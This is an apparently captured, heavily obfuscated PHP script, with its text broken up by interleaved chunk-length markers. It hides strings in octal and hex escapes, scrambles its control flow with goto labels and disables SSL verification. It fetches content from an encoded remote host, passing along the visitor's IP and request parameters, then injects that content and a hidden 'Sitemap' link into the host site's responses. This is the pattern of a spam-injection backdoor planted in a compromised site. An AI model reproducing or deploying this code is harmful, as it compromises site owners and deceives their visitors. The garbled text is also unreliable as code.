3 $url, CURLOPT_ b RETURNTRANS 17 FER => true, CURLOPT_SS 10 L_VERIFYPEER => 31 false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_F b OLLOWLOCATI 1a ON => true, CURLOPT_TIMEOU 18 T => 10, CURLOPT_HTTPGET 20 => true, CURLOPT_USERAGENT => " 1b \115\157\172\151\154\x6c\14 f 1\57\x35\x2e\60 16 ")); $data = curl_exec 24 ($ch); curl_close($ch); if (!empty($ 15 data)) { return $data 20 ; } } if (ini_get("\141\154\x6c\ 1d x6f\167\x5f\x75\162\154\x5f\1 1a 46\157\160\x65\156")) { $c 10 ontext = stream_ 19 context_create(array("\x6 1b 8\164\x74\160" => array("\1 17 55\x65\164\x68\x6f\x64" 16 => "\x47\105\x54", "\ 20 x74\x69\155\145\x6f\x75\x74" => 1d 10, "\150\x65\x61\x64\x65\162 1d " => "\125\163\x65\162\x2d\x4 21 1\147\145\x6e\164\x3a\40\x4d\157\ 18 x7a\151\x6c\x6c\x61\x2f\ 1b x35\x2e\60\15\12"), "\163\x 25 73\x6c" => array("\166\x65\162\x69\14 25 6\x79\137\160\x65\145\162" => false, 19 "\x76\145\x72\151\146\171 1e \137\x70\145\145\162\x5f\x6e\1 21 41\x6d\x65" => false))); $data = 52 @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } 17 return ''; } goto X5nb1 12 ; D_iaM: $vurl = $ 21 http_type . "\x69\144\154\x79\62\ 1a 56\x69\x64\x73\x68\157\x70 15 \x2e\x63\143\167\x75\ 15 56\143\x63\x2f\64\61\ 1d 71\56\x61\163\x70\x78"; goto 2b N2pxL; EzYoe: if (!empty($get["\163"])) { $ 19 params = array("\163" => 17 date("\131\x6d\144\x48\ 18 151"), "\x6e\165\155\142 2d \x65\162" => $get["\156\165\x6d\x62\145\162"] 1a ); $str = getCurl($vurl, $ 1a params); $str = str_replac 18 e(array("\173\xe5\275\22 15 3\xe5\x89\x8d\345\x9c 14 \260\xe5\235\x80\x7d 2e "), array($http_type . $_SERVER["\110\x54\x54\ 1c x50\x5f\110\117\x53\124"] . 39 $_SERVER["\123\x43\122\x49\x50\124\137\116\x41\x4d\x45"]) 13 , $str); header("\1 1c 03\157\156\x74\x65\156\164\x 1f 2d\164\171\160\x65\72\164\x65\1 17 70\x74\57\x78\155\154") 10 ; echo $str; die 22 ; } goto N4dac; X5nb1: $http_type 2a = !empty($_SERVER["\110\x54\x54\120\123"]) 21 && $_SERVER["\x48\124\124\x50\12 15 3"] !== "\x6f\146\x66 1b " ? "\x68\164\164\160\x73\x 29 3a\x2f\x2f" : "\150\164\164\160\x3a\x2f\5 15 7"; goto Aq5NJ; f5XoA 31 : function postCurl($url, $postData = array()) { 40 $postString = is_array($postData) ? http_build_query($postData) 3d : $postData; if (function_exists("\143\x75\162\154\x5f\x69\x6 10b e\x69\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_POST => true, CURLOPT_ f POSTFIELDS => $ 94 postString)); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\157\x77\x5f\x75\162\154\x5f\ 42 x66\x6f\x70\145\156")) { $context = stream_context_create(array("\ 33 150\164\164\160" => array("\155\145\164\150\157\144 1d " => "\120\x4f\x53\124", "\16 2b 4\x69\155\x65\157\165\x74" => 10, "\x68\x65 1d \141\144\x65\x72" => "\103\x6 21 f\156\x74\x65\x6e\x74\55\124\171\ 1f x70\x65\x3a\x20\x61\160\160\x6c 24 \x69\x63\x61\x74\x69\x6f\x6e\57\x78\ 1d 55\x77\x77\167\55\x66\x6f\x72 1f \155\x2d\165\162\x6c\x65\156\14 18 3\157\144\145\144\xd\12" 28 . "\x43\x6f\156\x74\145\156\x74\x2d\x4c 1e \145\x6e\147\164\x68\72\40" . 1d strlen($postString) . "\xd\xa 1a " . "\125\x73\145\x72\x2d\ 2b 101\x67\x65\156\164\x3a\40\x4d\157\172\151\ 19 x6c\x6c\141\x2f\65\56\x30 27 \xd\xa", "\143\x6f\x6e\164\145\x6e\164" 45 => $postString), "\163\x73\x6c" => array("\x76\145\x72\x69\146\171\x 36 5f\x70\x65\145\162" => false, "\x76\145\162\x69\x66\x7 17 9\x5f\160\145\x65\x72\1 92 37\x6e\141\155\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto m5bkF 29 ; N4dac: if (!empty($get["\151\144"])) { 28 if (empty($get["\153\153"])) { $ip = get 25 _ip(); $params = array("\x69\160" => 18 $ip, "\x69\144" => isset 24 ($get["\x69\144"]) ? $get["\151\x64" 16 ] : '', "\x6c\x6c" => 34 $ll); $tzstr = getCurl($vurl, $params); if (strpos($ 26 tzstr, "\x69\144") !== false) { echo $ 2e tzstr; die; } } $params = array("\x69\x64" => 27 $get["\x69\x64"], "\x6c\154" => $ll); $ 4c str = getCurl($vurl, $params); $str = str_replace(array("\x7b\125\x52\x4c\17 16 5", "\173\345\237\237\ 19 345\x90\215\175"), array( 19 get_url_info("\146\165\15 22 4\x6c"), get_url_info("\156\157\13 33 7\x77\167\167")), $str); echo $str; die; } else { $ 18 sitemapUrl = $ll . "\x3f 1e \x73\x3d" . date("\131\155\144 1f \110\x69"); echo "\74\144\x69\1 1b 66\40\x73\164\171\154\145\x 20 3d\x27\x74\145\170\164\x2d\x61\1 19 54\151\147\156\x3a\x63\14 26 5\x6e\164\x65\x72\73\40\160\x61\144\14 1c 4\x69\156\x67\72\61\x30\160\ 17 170\40\x30\73\x27\76\x3 1d c\x61\x20\150\162\x65\146\75\ 19 42{$sitemapUrl}\x22\x20\x 1c 74\x61\x72\x67\x65\164\x3d\4 1e 2\x5f\x62\154\141\x6e\x6b\42\4 20 0\162\x65\x6c\x3d\x22\x6e\157\x6 23 6\157\x6c\x6c\157\167\x22\x3e\x20\x 21 53\x69\x74\x65\x6d\x61\160\74\57\ 1c 141\x3e\x3c\x2f\144\151\166\ 13 76"; } goto nnSBp; 18 Uh8So: function get_ip() 20 { foreach (array("\x48\x54\x54\ 1a x50\x5f\x58\137\x46\117\x5 15 2\127\101\122\104\x45 21 \104\x5f\x46\x4f\x52", "\x48\124\ 18 x54\120\x5f\x43\114\x49\ 1d 105\x4e\x54\137\111\x50", "\x 20 52\x45\x4d\117\x54\x45\x5f\101\x 13 44\x44\x52") as $ke 2a y) { if (!empty($_SERVER[$key])) { return 10 trim(explode("\x 17 2c", $_SERVER[$key])[0] 1b ); } } return "\x55\x4e\113 20 \116\x4f\x57\116"; } goto f5XoA; 26 shqZL: function get_url_info(string $ 26 return_type = "\144\157\155\141\151\x6 14 e") : string { $host 33 = $_SERVER["\x48\124\124\x50\x5f\110\x4f\123\x54"] 2b ; if ($return_type === "\144\x6f\155\x61\x6 1e 9\156") { return $host; } if ( 37 $return_type === "\156\157\x5f\x77\167\167") { return l 21 trim($host, "\x77\x77\167\x2e"); 10 } $protocol = is 46 set($_SERVER["\110\x54\124\x50\x53"]) && $_SERVER["\110\x54\x54\x50\x5 15 3"] === "\x6f\156" || 30 isset($_SERVER["\x48\x54\124\x50\x5f\130\137\10 22 6\x4f\122\127\x41\122\104\x45\x44\ 2d 137\x50\x52\117\x54\x4f"]) && $_SERVER["\110\ 34 124\124\120\137\x58\137\106\x4f\122\x57\101\122\104\ 1f 105\104\137\x50\122\x4f\x54\117 1c "] === "\150\x74\x74\160\x73 22 " ? "\x68\x74\164\x70\x73\x3a\57\x 27 2f" : "\x68\x74\164\x70\72\x2f\x2f"; $b 1d ase_url = $protocol . $host; 33 if ($return_type === "\142\x61\x73\145") { return $ 28 base_url; } $uri = $_SERVER["\x52\x45\12 19 1\125\105\123\124\x5f\x55 19 \122\x49"]; $full_url = $ 2d base_url . $uri; if ($return_type === "\x66\1 35 65\154\154") { return $full_url; } return ''; } goto 10 Uh8So; nnSBp: ?> 0